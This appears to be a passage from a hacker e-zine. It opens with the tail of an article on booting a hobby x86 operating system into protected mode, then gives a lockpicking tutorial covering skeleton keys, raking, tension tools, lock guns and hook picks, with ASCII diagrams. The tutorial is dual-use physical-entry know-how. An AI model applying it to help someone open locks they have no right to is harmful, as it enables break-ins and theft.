lp LABEL NEAR
JMP lp
CSEG ENDS
END start
```

This will print ’-hi-’ to the console and then loop. It’s a nice way to break the ice and build your confidence. Especially if you’ve never manually meddled with disk sectors.

--[3.4 - Initializing The OS

The boot sector loads the system code binary into memory and then sets CS and IP to the first (lowest) byte of the code’s instructions. My system code doesn’t do anything more than print a few messages and then jump to protected mode. Execution ends in an infinite loop.

I wrote the program using real-mode instructions. Intel machines all start up in real-mode. It is the responsibility of this initial code to push the computer into protected memory mode. Once in protected mode, the OS will adjust its segment registers, set up a stack, and establish an execution environment for applications (process table, drivers, etc.).

This made life difficult because if I could only go so far using real-mode instructions and registers. Eventually, I would need to use the extended registers (i.e. EAX) to access memory higher up.

Some compilers won't accept a mixture of 16-bit and 32-bit instructions, or they get persnickety and encode instructions incorrectly. If you look at the FAR JMP that I make at the end of setUpMemory(), you'll notice that I had to code it manually.

My situation was even more tenuous because I was fitting everything into a single segment. Once I had made the translation to protected mode, there wasn't that much that I could do that was very interesting.

One solution would be to convert my 16-bit system code into the second phase of a multi-stage boot process. In other words, have the system code, which was loaded by the boat sector, load a 32-bit binary into memory before it makes the transition to protected mode. When the FAR JMP is executed, it could send execution to the 32-bit code ... which could then take matters from there. If you look at MMURTL, you will see that this is exactly what Burgess does. Doh! I just wish I had known sooner.

I was excited initially by the thought of being able to leverage the Micro-C compiler. However, as you will see, most of the set up work was done via in-line assembly. Only small portions were pure C. This is the nature of initializing an OS. Key memory and task management functions are anchored directly to the hardware, and the best that you can hope for is to bury the assembly code deep in the bowels of the OS and wrap everything in C.

Here is the system code (os.c), in all its glory:

```
/* os.c -----------------------------------------------------------------*/

void printBiosCh(ch)
char ch;
{
        /*
        ch = BP + savedBP + retaddress = BP + 4 bytes
        */
        asm "MOV AH,0EH";
        asm "MOV AL,+4[BP]";
        asm "INT 10H";
        return;
}/*end printBiosCh---------------------------------------*/

void printBiosStr(cptr,n)
char* cptr;
int n;
{
        int i;
        for(i=0;i<n;i++){ printBiosCh(cptr[i]); }
        return;
}/*end printBiosStr--------------------------------------*/

void setUpMemory()
{
        /*going to protected mode is an 6-step dance*/

        /* step 1) build GDT ( see GDT table in function below )*/
        printBiosCh('1');

        /*
        step 2) disable interrupts so we can work undisturbed
        ( note, once we issue CLI, we cannot use BIOS interrupts
          to print data to the screen )
        */

        printBiosCh('2');
        asm "CLI";

        /*
        step 3) enable A20 address line via keyboard controller
                60H = status port, 64H = control port on 8042
        */

        asm "MOV AL,0D1H";
        asm "OUT 64H,AL";
        asm "MOV AL,0DFH";
        asm "OUT 60H,AL";

        /*
        step 4) execute LGDT instruction to load GDTR with GDT info
                recall GDTR = 48-bits
                                    = [32-bit base address][16-bit limit]
                                         HI-bit                       LO-bit
        */

        asm "JMP overRdata";
        asm "gdtr_stuff:";
        asm "gdt_limit  DW  0C0H";
        asm "gdt_base   DD  0H";
        asm "overRdata:";

        /*
        copy GDT to 0000[0]:0000 ( linear address is 00000000H )
        makes life easier, so don't have to modify gdt_base
        REP MOVSB moves DS:[SI] to ES:[DI] until CX=0
        */

        asm "MOV AX,OFFSET CS:nullDescriptor";
        asm "MOV SI,AX";
        asm "MOV AX,0";
        asm "MOV ES,AX";
        asm "MOV DI,0H";
        asm "MOV CX,0C0H";
        asm "REP MOVSB";

        asm "LGDT FWORD PTR gdtr_stuff";

        /* step 5) set first bit in CR0, protected mode bit*/

        asm "smsw    ax";
    asm "or      al,1";
    asm "lmsw    ax";

        /*
        step 6) perform a manually coded FAR JUMP
                        ( MASM would encode it incorrectly in 'USE16' mode )
        */

        asm "DB 66H";
        asm "DB 67H";
        asm "DB 0EAH";
        asm "DW OFFSET _loadshell";
        asm "DW  8H";

        /* end of the line, infinite loop */

        asm "_loadshell:";
        asm "NOP";
        asm "JMP _loadShell";

        return;
}/*end setUpMemory---------------------------------------*/

/* our GDT has 3 descriptor (null,code,data)*/

void GDT()
{
        /*
        end up treating the function body as data
        ( can treat code as data as long as we don't execute it ;-))
        */

        asm "nullDescriptor:";
        asm "NDlimit0_15                        dw      0       ; seg. limit";
        asm "NDbaseAddr0_15                     dw      0       ; base address";
        asm "NDbaseAddr16_23            db      0       ; base address";
        asm "NDflags                            db      0       ; segment type and flags";
        asm "NDlimit_flags                      db      0       ; segment limit and flags";
        asm "NDbaseAddr24_31            db      0       ; final 8 bits of base address";

        asm "codeDescriptor:";
        asm "CDlimit0_15                        dw      0FFFFH";
        asm "CDbaseAddr0_15                     dw      0";
        asm "CDbaseAddr16_23            db      0";
        asm "CDflags                            db      9AH";
        asm "CDlimit_flags                      db      0CFH";
        asm "CDbaseAddr24_31            db      0";

        asm "dataDescriptor:";
        asm "DDlimit0_15                        dw      0FFFFH";
        asm "DDbaseAddr0_15                     dw      0";
        asm "DDbaseAddr16_23            db      0";
        asm "DDflags                            db      92H";
        asm "DDlimit_flags                      db      0CFH";
        asm "DDbaseAddr24_31            db      0";

        return;

}/*end GDT-----------------------------------------------*/

char startStr[7] = {'S','t','a','r','t','\n','\r'};
char startMemStr[10] = {'I','n','i','t',' ','m','e','m','\n','\r'};
char tstack[128];

void main()
{
        /*set up temp real-mode stack*/
        asm "MOV AX,CS";
        asm "MOV SS,AX";
        asm "MOV AX, OFFSET CSEG:_tstack";
        asm "ADD AX,80H";
        asm "MOV SP,AX";

        /*successfully made JMP to OS from boot loader*/
        printBiosStr(startStr,7);

        /*set up Basic Protected Mode*/
        printBiosStr(startMemStr,10);
        setUpMemory();

        return;
}/*end main-------------------------------------------------------------*/
```

--[3.5 - Building and Deploying

Because the OS was written in C and in-line assembler, the build process involved three distinct steps. First, I compiled my system code to assembly with:

```
        mcp os.c | mcc > osPre.asm
```

Note, mcp is Micro-C's pre-processor.

Chuck it all in one 16-bit segment:

```
    convert osPre.asm
```

Once I had an .ASM file in my hands, I assembled it:

```
        ML /Fllist.txt /AT /Zm -c osPre.asm
```

Note how I've had to use the /Zm option so that I can assemble code that obeys conventions intended for earlier versions of MASM. This step is typically where the problems occurred. Needless to say, I became tired of fixing up segment prefixes rather quickly and that is what led me to write convert.c.

Finally, after a few tears, I linked the OS object file to one of Micro-C's object files.

```
        LINK os.obj PC86RL_T.OBJ /TINY
```

If you look back at convert.c, you'll see a whole load of EXTRN directives. All of these imported symbols are math libraries that are located in the PC86RL_T.OBJ file.

If you have a copy of NASM on your machine, you can verify your work with the following command:

```
        ndisasmw -b 16 os.com
```

This will dump a disassembled version of the code to the screen. If you want a more permanent artifact, then use the listing file option when you invoke ML.EXE:

```
        ML /AT /Zm /Fl -c os.asm
```

Once you have the OS and boot sector code built. You should burn them on to the boot floppy. You can do so with the DOS debug utility.

```
C:\DOCS\OS\lab\final>debug boot.com
-l
-w cs:0100 0 0 1
-q

C:\DOCS\OS\lab\final>debug os.com
-l
-w cs:0100 0 1 2
-q
```

After that, you just boot with the floppy disk and hang on!

I hope this article gave you some ideas to experiment with. Good luck and have fun.

"Contrasting this modest effort [of Seymour Cray in his laboratory to build the CDC 6600] with 34 people including the janitor with our vast development activities, I fail to understand why we have lost our industry leadership position by letting someone else offer the world's most powerful computer."
-Thomas J. Watson, IBM President, 1965

"It seems Mr. Watson has answered his own question."
-Seymour Cray

--[4 - References and Credits

[1] Operating Systems: Design And Implementation,
Andrew S. Tanenbaum, Prentice Hall, ISBN: 0136386776
        This book explains how the Minix operating system functions.
        Linux was originally Linus's attempt at creating a production
        quality version of Minix. Minix is an Intel OS.

[2] MMURTL V1.0, Richard A. Burgess, Sensory Publishing, ISBN: 1588530000
MMURTL is another Intel OS. Unlike Tanenbaum, Burgess dives into more sophisticated topics, like memory paging. Another thing I admire about Burgess is that he'll answer your e-mail without getting snooty like Tanenbaum. If Minix gave birth to Linux, then MMURTL may also be reincarnated as the next big thing.

[3] Dissecting DOS, Michael Podanoffsky, Addison-Wesley Pub, ISBN: 020162687X
In this book, Podanoffsky describes a DOS clone named RxDOS. RxDOS is presented as a real-mode OS and is written entirely in assembly code.

[4] FreeDOS Kernel, Pat Villani, CMP Books, ISBN: 0879304367
Another DOS clone ... but this one is written in C, whew!

[5] Virtual Machine Design and Implementation In C/C++, Bill Blunden, Wordware Publishing, ISBN: 1556229038
Yes, it's time for the self-plug. Writing a VM is really only a hop, skip, and a jump, from writing a simulator. My book presents all the information in this article and a whole lot more. This includes a complete virtual machine, assembler, and debugger.

[6] Linux Core Kernel Commentary, 2nd Edition, Scott Andrew Maxwell, The Coriolis Group; ISBN: 1588801497
This is an annotated stroll through the task and memory management source code of Linux.

[7] The Design and Implementation of the 4.4BSD Operating System, Marshall Kirk McKusick (Editor), Keith Bostic, Michael J. Karels (Editor) Addison-Wesley Pub Co; ISBN: 0201549794
These guys are all deep geeks. If you don't believe me, look at the group photo on the inside cover. This book is a comprehensive overview of the FreeBSD OS.

[8] The Undocumented PC : A Programmer's Guide, Frank Van Gilluwe, Addison-Wesley Pub, ISBN: 0201479508
If you're doing I/O on Intel, it truly helps to have this book.

[9] Control Data Corporation
There are a numerous old fogeys from Control Data that I would like to thank for offering their help and advice. Control Data was killed by its management, but there were a handful of gifted engineers, like Cray, who made sure that some of the good ideas found a home.

[10] IBM and the Holocaust: The Strategic Alliance Between Nazi Germany and America's Most Powerful Corporation, Edwin Black, Three Rivers Press; ISBN: 0609808990
I originally heard about this through one of Dave Emory's radio broadcasts. Mae Brussell would agree ... profit at any cost is not a good thing.

I would like to thank George Matkovitz, who wrote the first message-based kernel in the world, and Mike Adler, a compiler wizard who was there when Cray whipped IBM for sharing their thoughts and experiences with me.

<EOF>

|=[0x03]=---=|

LOCKPICKING

BY

/< nightmare

As per usual, I accept no responsibility for your actions using this file; It is only here to show how locksmiths gain access when keys are missing or broken.

CONTENTS

INTRODUCTION

The main purpose of writing this work is to provide the modern student with an up-to-date, accurate book to enable him to explore the fascinating subject of lock picking. In by gone years, people who were drawn to magic of the lock, were tempted to 'pick locks', and were confronted by obstacles to protect the lock, such as devices which would shoot steel barbs into the picker's hands. vicious toothed jaws were employed to cut off the thiefs fingers. perhaps the most fearsome lock pick deterrent was a devilish device which would fire a bullet if the locking mechanism was tampered with.

Books and manuscripts over the years change hands.
Unfortunately, in the case of this type of work, it could fall into the wrong hands. However unlike such works as '1001 ways to have fun with a Frankfurter', the person who is merely curious will find this work tiresome and unpalatable, leaving the true enthusiasts to explore the teasing allure of the lock. This unique animal who has ingenuity and patience to follow through the fascinating study, will be rewarded in the knowledge that he is in the elite company that I salute in this work. for the people who argue books on this subject should not be written, I would like to point out that a villain who wishes to gain entry into a property in happier with a brick than a pick.

Have fun and enjoy your new hobby or trade !

CHAPTER 1: THE WARDED LOCK

Probably the best place to begin this book is at the point at which mass lock manufacture began, with the WARDED LOCK. These locks are generally of simple construction, These are of simple construction and generally, and therefore recommended for the beginner. The dictionary defines 'ward' as 'to guard, keep away, or to fend off', which in reality is exactly what the lock does.
(See FIG. 1.) The small circular section is the ward with the wrong type of key attempting to open the lock. Ti is quite obvious that if this key were to be turned, its turning path would be halted by the protruding ward.

```
      ___________     ____                      __________    ____
      ________   )   /  \ \                     ______    )  /  \ \
              | _|   |  | | <-Wards                   |  [   |  | |
              |[     \____/                    Bit -> |__[   \____/

             FIG. 1                                  FIG. 2
```

FIG. 2 shows the correct key which will open the warded lock.

It has just the right cuts on the bit to miss the wards. warded locks are found in many forms. FIG. 3 is a normal key, with an intricate patterned bit which would open an old and beautifully designed, elaborate ward lock. At this point, I would like to say that key collecting had become a hobby for many people. Since keys are quite easy to come by, a nice display can soon be obtained.

```
         __
        /  \__.,-,________
        \__/--.,-,--------'
                        []
                        [[
            Normal Key
```

FIG. 3

the security of the warded lock was further enhanced by the shape of the key hole, preventing entry to everything apart from the correct key. the extravagant shapes, in both the wards and the key holes, are the only problems which we must overcome in picking open the warded lock. we do this by inserting a pick, which is much thinner than the lock's keyhole, or by using a skeleton key. FIG. 5 shows this best in the case of the skeleton key, which would open the same lock which is in our FIG. 3. This skeleton key has been cut from a blank. The area which would fool the locks ward's has been removed, forming the new key. For the complete newcomer the world of locks, I should explain that the word 'blank' is the name given to the key before it is cut to the desired shape.

```
                ______                  __.__________
               |  /\  |                 __ __  __  __|
               |  ||  |                   ' _||  ||_
               |   \\ |                    |.-'  '-.|
               |   // |                    ||      ||
               |  C|  |            skeleton|'-.  .-'|
               |  ||  |               key  '--'  '--'
               |______|

                FIG. 4                       FIG. 5
```

FIG. 6 looks inside a typical warded padlock. It is clear that, because of the wards which obstruct the turning, only the correct key (as shown) will open this lock. it is guarded by six, close-fitting wards, and also by the small, thin keyhole.

```
                                   _____
                                  / ___ \
                               __/ /   \ \__
                              |    \___/    |
                              \             /
                               \____   ____/
                                   /   \
                             ______|   |______
                            |  __ (     ) __  |
                     .--->  | (__| |   | |__) |
                     |      |     <     >     |
        Wards     ---|--->  |  ====|   |====  |
                     |      |     (     )     |
                     '--->  | =====|_ _|===== |
                            | [[[[(_____)]]]] |
                            |       (_)       |
                            |_________________|
                                Y         Y
                                |         |
                              Opening spring
```

FIG. 7 shows how we overcome this lock with a key that has been skeletoned,

and which will now open this and many others.
This has been achieved by removing all the projections other than the end which comes into contact with the spring-opening point.
Take a look and make sure you read and understand this before moving on.

```
                                       __
                            _   __nn_n/  \_
                           (_| |______   o_:
                                _ __ _\__/
                                U UU U
```

FIG. 7

FIG. 8 is a warded pick in it's most simple form - a coil spring with it's end bend and flattened. If the coil is of suitable diameter, it will fit onto the end of your index finger. This forms, as it were, an extension of your finger, and you will find that it is a highly sensitive tool to fell the layout of the interior and so find and trigger the mechanism. This sensitive manipulation can be achieved only with practice. If the spring pick becomes weak or bent simply pull out a new length from the coil and you have a brand new tool.

Before we move on, I would suggest that you build up a large set of picks of different sizes.

```
                     ________________________________________
                    |                                        |
                    |                                 _____  |
                    |  /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/     | |
                    |________________________________________|
                                  Coil Spring
```

FIG. 8

Look inside as many locks as possible -- it's the finest way of becoming a lock expert. picking locks is a true art form and even more difficult than learning to play a musical instrument proficiently.

Here is a useful lock picking set to make:

```
                                 ____
                                /    \_____________|
                                \____/             |

                                 ____
                                /    \_____________.
                                \____/             ,

                                 ____
                                /    \___________._.
                                \____/           , ,

                                 ____
                                /    \_____________
                                \____/             |

                                 ____
                                /    \___________|_|
                                \____/           | |

                                 ____
                                /    \____________.-
                                \____/            ,_
```

FIG. 9

In summing up the subject of warded locks, I would say that once you have clearly understood that the wards simply guard the opening, and also that the actual shape of the keyhole prevents the wrong key entering, you are well on the right path to becoming a total master at this type of lock. start looking for warded locks: they are usually older locks or at the cheap end of the market.

The most difficult task before the novice must be to identify the particular type of lock he is trying to pick. Is the lock a WAFER or PIN-TUMBLER? Or, in the case of the raw beginner, is the lock a LEVER or PIN-TUMBLER? There

is no simple answer. The ability to identify the particular types comes only with practice and study.
Open up as many old locks as you can and study the principles, LOOKING ALL THE TIME FOR WEAK POINTS which are built into the design. Believe me, ALL locks have weak points.

CHAPTER 2: PIN TUMBLER and WAFER LOCKS

As in all lock picking, it is an advantage that the student is fully conversant with the basic operation of the lock. In the case of the PIN-TUMBLER and WAFER it is absolutely vital. The number of times I have read leading works on the subject, and then asked myself if I would fully understand how the lock worked from their description ! each book I read failed to explain accurately and precisely how these locks work and can be picked. what follows is my own humble effort to right this wrong. You yourself must judge if I have obtained this objective.

When we first look at this type of lock, it would appear that all necessary to insert a small implement into the keyway and give it a turn for the device to open. plainly this is not the case, as we can see when we take a closer look at FIG. 10 This is a typical PIN-TUMBLER lock, and generally consists of pairs of bottom pins made from brass and with the top drivers formed in steel. Commonly, five pairs of pins are found. in the smaller, cheaper models, four are more common.

```
   ______________________________
                                 \ K
           |  |  |  |   |   |    / E
              |     |   |   |    \ Y        [|]  Upper tumbler pin
           ^     ^               / H        [^]  Lower tumbler pin
           ^  ^  ^  ^   ^   ^    \ O        [-]  Cylinder wall
                                 / L  This is a greatly simplified
                                 \ E  drawing
   ______________________________/
```

FIG. 10

```
            _______
Shear Line /  ___  \
  - - - - -| |///| |   <-- Springs
          /  |[ ]|<-\----- Top Drivers
      Plug\  \ @ /<-/----- Bottom Pins
           \___|___/
                     Key
```

FIG. 11

```
             _______
Shear Line /  ___  \
   - - - - -| |///| |
           /  |[ ]| /\
           \     / / / <-- Plug Turning
            \___///_/
```

FIG. 11a

```
                                                    ________
                                                   /        \
         Shearing Line -->  __ _ ___ _ ___ _ ___  /          \  A
                           / _  _  _  _  _      \/      /\   \
                          / |_||_||_||_||_| ____/\      \/   / K
                          \ / \/\/\/\/\/\/\_____\/          /  E
                           \____________________/\__________/   Y
```

FIG. 12

FIG. 11 is the end-view of the arrangement. Each of the locks shown in FIGS. 10, 11 and 12 are ready to open, since in each case they have been given the right key ready to turn the plug.
FIG. 12 shows each of the five bottom brass pins settled into it’s own notch along the key. This ha the effect of bringing the point between the drivers and the pins EXACTLY to the same height. ONLY THE PROPER KEY WILL ALIGN ALL FIVE PINS AT THIS HEIGHT, WHICH WE CALL THE SHEAR OR SHEARING LINE, AT THE SAME TIME. All five pins must be in line together, and, when we have this state of affairs, the plug will turn opening the lock. FIG. 11a shows the plug starting to turn. FIG. 11 is an end-view, and shows the shaded plug ready to turn. Make sure you fully understand this before you go on. Most students fail to understand that the bottom brass pins TURN WITH THE PLUG. FIG. 13 shows this. the top holding drivers stay put in the chambers in the outer case. Remember that the bottom pins must turn with the plug because they are contained within unit. It is important to know that if only one notch on the key is even SLIGHTLY wrong, too high or too low, the plug would be prevented from turning, just one pin, sitting into this plug from the outer case, has such an amazing strength that it would be impossible to snap -- such is the power of each little pin.

```
         :::::
     ___ ##### <-- Top Drivers
    /   \ooooo Plug Turning |
    \___/=====             <’
         OOOOO <-- Bottom pins

        FIG. 13
```

I have cut away the plug in FIG. 13 and the pins can clearly be seen in the turning motion. With all the required points within the lock aligned, the plug must and will turn. However, let us take a look at what would happen if the wrong key were inserted. FIG. 14 shows this, with the top drivers, still inside the plugs, preventing it from turning. The wrong key is just as bad as no key, and the lock stays locked.

```
                          Chambers
                    ______/___|___\______
                   |     /    |    \     |
                   |    \/    V    \/    |
                   |       __   __   __  |
           --------|  __  |  | |  | |  | |-------- <-- Shear line
         Plug --> _|_|  |_|  |_|  |_|  |_|_
                 [ | |  | |  | |  | |  | | ]
                 [ | ’__’ ’__’ ’__’ ’__’ | ]
                 [ | .--. .--. .--. .--. | ]
                 [ | ’__’ ’__’ ’__’ ’__’ | ]
                 [_|_____________________|_]
                   ’---------------------’
                               FIG. 14
```

FIG. 15 is the end-view, showing the top driver inside the plug, preventing the turning, and the driver just below the shearing line. I have already said that these little drivers are manufactured from steel and are very strong indeed, overcoming any force that a normal wrong key or instrument could present. even if there were only one little driver inside the plug, it would still be unable to rotate, or be snapped at the shear line. Now multiply that strength by five, and I am sure that you will understand it’s almost superhuman strength. Before I move on I must explain that there a no skeleton keys which will magically open this lock, or it’s brother the WAFER.

```
                   Note top drivers are inside plug
                           ______        preventing any turning
                          /______\
                         //  ==  \\
                         ||  ==  ||
                         ||  ()   ||
  Shearing line --> -----||-[|||]-||-----
                         ||  [==] ||
                         \\__##__//       ## - Bottom pins
                          \______/       [==]  Plug

                          FIG. 15
```

The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the pick as the notches. Once you have all the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. FIG. 20 shows the top driver inside the chamber binding on three points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied.

Chapter 3:   WAFER LOCKS

FIG. 16 shows a single-sided wafer lock. This type of lock contains WAFERS instead of pins and drivers, and is known as a DISC-TUMBLER instead of a pin tumbler. the wafers, five as in a pin-tumbler, are held in place by a small, light spring, as shown (left hand side) of FIGS. 16 and 17. FIG. 16 shows the lock closed, and FIG. 17 open. The wafer lock is best opened by RAKING, which is explained later in this work.

```
           ________                        ________
          /   __   \                      /   __   \
         =|  /  \  |                     =|  /  \  |
         =|  |  |  |                     =|  |  |  |
         /_  \__/  |                     /_  \__/  |
          \__    __/                      \__    __/
          --.\__/.--                      __ \__/ __
            ’____’                          ’____’
            Locked                         Unlocked

           FIG. 16                          FIG. 17
```

Chapter 4:   THE TENSION WRENCH TURNING TOOL

Probably the single most important factor in lock manipulation is the use of the TENSION WRENCH which I prefer to call the TURNING TOOL. perhaps if it had been given this name in the first place, hundreds of aspiring locksmiths would have had greater instant success. I maintain that the word ’tension’ implies that great pressure has to be exerted by this tool. Add to this the word ’wrench’ and totally the wrong impression is given. in order that you will fully understand the use of this turning tool, I will explain it’s simple function. FIG. 18 shows an normal pin-tumbler or wafer key; FIG. 19 shows the key cut away. This bottom section is now a turning tool. the reality is that the notches along the key would lift the bottom pins level with the shearing line, and the part beneath would turn the plug.

```
     ____                   ____    ,_^^,^,-.-^.
    /    \,_^^,^,-.-^.     /    \/’______________
    \____/-----------’     \____/---------------’  <-- Turning tool

         FIG. 18                   FIG. 19
```

The turning tool replaces the bottom part of the key, and the pick replaces the notches on the key. Just think of the turning tool as part of the key, and the picks as the notches. Once you have all of the points inside the line, only a small amount of light pressure is needed to turn the plug. Most books on the subject stress that too much pressure is wrong. The student must first know why too much tension is wrong. FIG. 20 shows the top driver inside the chamber binding on the tree points, because the tension is too great. Trial and error seems to be the only true way, with only light turning applied

```
                                    ____________
                                   |  ------. <|----Spring
                                   |  .-----'  | Top chamber
                                   |  '-----.  |
                                   |  .-----'  |
                                   | _'--_____ | Binding
                                   ||         || |
                                   ||         || V
                             ______||         ||______
                             ------.|_________|.------ Shear line
                                   |           | <-- Binding
```

FIG. 20

If you are raking open a lock, no real pressure need be applied because the pins and wafers MUST be free to bounce into line with the shearing line. if too much pressure is used, it prevents this as shown in FIG. 20. Multiply the one shown by, and you can imagine the lock is well and truly bound tight. I have used a lot of words in trying to say what has not been put in print before.

```
                                  |
                    --------------'

                                  |
                   .--------------'
                   |  TURNING TOOLS
```

FIG. 21

The turning tools are shown in FIG. 21. Once again, I get onto my high horse, and say that it is not necessary to have lots of different turning tools in your kit. it is complete nonsense to have light, medium and heavy tools. Further confusing the is the term used to rigidity of the different types. This is termed the 'weight', but most of my students mistakenly assume the actual weight is important to the turning potential. the best is to choose a medium weight tension wrench and from then on call it a turning tool. If I am not careful I will change the whole lock picking vocabulary.

The best and easiest wafer or pin-tumbler locks to open are the ones which contain the smaller pin or wafer sizes together in the same lock, i.e. small pins in each chamber and ideally all about the same length. When this state exists, the method to open the lock is by RAKING.

Chapter 5: RAKING PIN-TUMBLER AND WAFER CYLINDER LOCKS

The first plan of attack on any lock of this type, whether it is a padlock protected with this locking arrangement, a door on a car or a house, is to try raking. the turning tool fits into the bottom section of the keyway, as shown in FIG. 22, with just the weight of your finger. No visible bend should be seen on the tool, otherwise it will be found impossible to pick open the lock with this method.

```
                       ________________________
                      /                        \   the tools got to
                     /                          \  be at 45 DEG.
                    /          ______            \ parallel like
                    \         / n    \           / so:  //
                     \  ********@____/          /
                      \        /               /  *** the pick
                       \      /               /   /   turning tool
                        \____/_______________/
```

FIG. 22

Using the picks shown in FIG. 23, we rake the lock, as we shall explain later, starting with pick number one and working up through until you open the lock. Perhaps, before we get down to the actual method of raking, we had better take a close look at the make-up of this tool, known as a RAKE. Look again at FIG. 23. Notice that 1B is just the same as 1A except that it has been cut in half, giving the half double ball. 1C is a silhouette of them both.

If we look closely at 2A, 2B and 2C, we find they are arranged just the same as the first group. 3A, 3B and 3C are know as DIAMONDS because of their shape. There seems to be no reason for A, B and C in each of the groups 1, 2 and 3 other than, in the case of the diamonds, for use in smaller locks. Don’t let the different sizes bother you, but just use whatever you have in your set.

RAKING TOOLS

FIG. 23

```
    1A            1B           1C
     |
     -         |       /
     |        /|       \
    / \      / \      / \
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    | |      | |      | |
    |_|      |_|      |_|

  Double         Half     Silhouette
   Ball         Double      Double
   Rake       Ball Rake   Ball Rake

    2A            2B           2C
      o
      |       o         /
     /\        \        |
    /  \      / \      / \
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |  |      | |      | |
    |__|      |_|      |_|

Full single  Half Single   Silhouette
Ball Rake     Ball Rake  Single Ball Rake

    3A      3B     3C
     <           <|                 _               |>
      |    <|     |                /_|              ||    Handy
      |    /|     |                 ||              ||    Double
     /|   / |    /|           4     ||              ||    Ended
    | |   | |   | |                 ||              ||    Rake
    | |   | |   | |                 ||              ||
    | |   | |   | |                 ||              ||
    | |   | |   | |                /  \             ||
    | |   | |   | |                |  |              \\
    |_|   |_|   |_|               /____\             //

     3 Diamond Rakes
```

In FIG. 23 I have included a number 4, which is sometimes mistaken by students for a raking tool, but which is, in fact, a broken key extractor, and has nothing to do with raking. I have shown it’s end in close up in the illustration so that there can be no mistake. The number 5 is a double-ended rake, which combines on one end a diamond and on the other a silhouette double ball.

HOW RAKING WORKS

While we are taking a close look at things, it is a good time to do the same thing with the action of raking, in order that you will fully understand how it works. Select any of the number 1 raking tools (FIG. 23), and insert it into the lock so that it touches the back of the lock and is in contact with the back bottom pin of the lock. The pick is then drawn from the back of the lock very quickly (see FIG. 24).

```
                              Rake is pulled out
                              causing top driver
                              and bottom pin to
              =====  =====  =====  =====  =====    vibrate about the
              =====  =====  =====  =====  =====    shear line.
                                          .---.
              .---.  .---.  .---.  .---.  | ^ |
              |   |  |   |  |   |  |   |  | | |
Shearing      |   |  |   |  |   |  |   |  | V |       Shearing
Line   ______ ’---’  ’---’  ’---’  ’---’  ’---’ _____ Line
              .---.  .---.  .---.  .---.  .---.
  Front of    |   |  |   |  |   |  |   |  | ^ |  Back
  Lock        ’---’  ’---’  ’---’  ’---’  ’-v-’_ of the
  /-\_________________________________________/ \
 (______________________________________________/
                  Rake being pulled out
                 <---------------
```

This action has the effect of causing all the pins, which have been in contact momentarily with the rake’s passage out of the cylinder to vibrate, each pin lifts the top driver out of the plug with this vibrating momentum given> The whole thing is really a bit hit and miss, because some of the top drivers will be out will others are still holding the plug. We must repeat with the same rake about twenty times, and only if unsuccessful then move on to another, following the pattern outlined in FIG. 23.

When we rake a lock, we are raising the pins inside the lock to the shear line. moving through the different shaped picks varies the pattern of the lift as the tool is repeatedly drawn out. The pins and drivers are bouncing about the shear line, just waiting to please you and be at the right height to open as you turn with your turning tool, which has been in place throughout. I MUST STRESS THAT THE TURNING TOOL HAS NOT BEEN EXERTING A CONSTANT TURNING PRESSURE, OTHERWISE THE PINS WOULD BIND, AS SHOWN IN FIG. 20. The pressure exerted is best described as a pulsating one. Gentle pressure must only be on as the rake is leaving the lock on the way out. No pressure is on as the pins are vibrating. The pins vibrate and the pulsating turning tool turns the plug, so opening the lock. If too much pressure is applied at the opening wrong moment, binding takes place and picking is impossible.

Normally, I first test a lock by inserting my Turing tool into the lock, turning it in both directions. Any slight movement tells me a few things about the locks without actually seeing inside it. If has a lot of movement in each direction, then it is going to be an easy lock to open. Its general condition tells me if it is an old, worn or cheap lock. if you find little movement an the lock is known to be a good one, then it is going to take a little longer or require another technique.

Chapter 6:   PICKING LOCKS WITHOUT A TURNING TOOL

A useful tip, for those long practice sessions or demonstrations, is to bend the connecting cam downwards as shown in FIG. 25. If the lock is held as shown in FIG. 26 you will find that it eliminates the use of the turning tool. My advice to the beginner is to try raking with the index finger, pulsating on the lock's cam.

```
 _
( )----------.
| |__________|_____
| |               )_
| |                 )
| |                  )_____
| |      LOCK        )---.|
| |                 _)    ^||
| |            ___)     / ||
| |           |        /  '' <-- Cam
(_)-----------'     BEND

     FIG. 25

                   _
                  / \_____   Finger provides
                 /   \ \_) <-----  turning
                /___/-\ \
               /   /  (__)
                      _||_
                     (_____)
                       ||
                       ||
                       ||
                       ||
                       ||
                       ||
             FIG. 26   '' Pick held in other hand
```

  Another practice tip is to remove two sets of pins and drivers, leaving three sets within the lock, thereby reducing the strength and making it a little easier to manipulate.

Chapter 7:   THE LOCK GUN

This useful tool is really a super raking device. pulling the trigger causes the needle probes to flick upwards, and this has the effect of bouncing the pins about the shearing line. this tool is capable of producing a continuous vibration of the pins, making picking easy. It is a useful tool, and a nice addition to your toolkit. The gun is shown in FIG. 27.

```
   _______/\
<.|-        \__
   \           \_______
    \           |_/
    /  .   _____|      =[]
   /      | \\            \
  /      /   \\            \__
/  .   /    (|
|_____/                .------
           Lock Gun     |
```

FIG. 27

Chapter 8: THE LOCK MASTER

Before we leave raking, perhaps we had better look at my own invention, the LOCK MASTER, which has certain advantages over the lock gun, and even more disadvantages. That said, its main advantage is a big one -- it completely eliminates the need for a turning tool. Its bottom section has its own turning tool built in. FIG. 28 shows the tool. the top is flicked with the index finger nail, and the probe is returned to the horizontal by means of two small springs. the finger snaps away while the master is twisted, again in the pulsating fashion. The main disadvantage is that you have to have different LOCK MASTERS for different size lock.

```
       ________________
      /----------#-(.)-\-
            ___________#_(.)_
           (______________   )_____  Lock Master
                         /\__)    \
                         |        |
                         \________/
```

FIG. 28

Chapter 9: PURE PICKING

I like to think of my next section as 'pure picking', because that is precisely what we do. Each pin is lifted in turn, lifting the driver clear of the plug. Remember that earlier I advised the beginner to remove a couple of set of pins and drivers. This is perhaps when you will find this most useful. Turning is applied by the turning tool, or my own bent cam motion. The HOOK PICKS shown in FIG. 29 are used.

```
                                                Pure picking
                          -------------------
      --.    \        Top         __  __  __
        |    |        Chambers   |==||==||==|
       / \  / \        '-------> |==||==||--|
       | |  | |             _____|--||--|'--|___ <--- Shear Line
       | |  | |                  '__''__'.__.
       | |  | |                  .--..--.|  |
       | |  | |                  '__''__''__'
       | |  | |                           ( )_______________
       | |  | |                            \_______________/
       | |  | |                  ___________________
       | |  | |                  Hook lifting Pin to
       '_'  '_'                     Shearing Line

      Hook Picks
```

